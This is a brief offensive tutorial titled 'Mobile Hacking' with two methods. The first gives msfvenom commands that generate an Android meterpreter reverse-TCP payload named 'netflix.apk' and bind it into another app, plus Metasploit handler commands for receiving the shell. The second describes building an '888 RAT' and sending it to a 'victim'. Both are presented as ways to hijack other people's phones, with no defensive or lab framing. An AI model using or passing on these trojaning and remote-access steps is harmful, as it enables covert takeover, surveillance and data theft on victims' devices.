

Mobile Hacking

First Method :

Mobile Hacking through msfvenom :

#msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip address>
LPORT=1337 -o /home/kali/Desktop/netflix.apk - This command will create our apk.

#msfvenom -x flappy.apk -p android/meterpreter/reverse_tcp
LHOST=192.168.1.7 LPORT=1337 -o flappynew.apk - For binding our trojan with another apk.

Listen connection on metasploit :

```
#msfconsole
#use exploit/multi/handler
#set payload android/meterpreter/reverse_tcp
#set lhost <lp address>
#set lport 1337
#exploit
```

After that install that apk in victim's mobile for the connection.

Now use command #help to show the full menu.

Secoond Method :

Mobile Hacking through 888 RAT(Remote Access Trojan) :

For this rat first you have to install java jdk and JRE in your system, then you have to copy apktool file and paste it to Win+R>%temp%>apkx and paste this in this folder.

Now make a RAT using this tool, set your ip, port and we can find this rat in %temp% file. After that send this rat to victim, when victim will install this we will get the access.
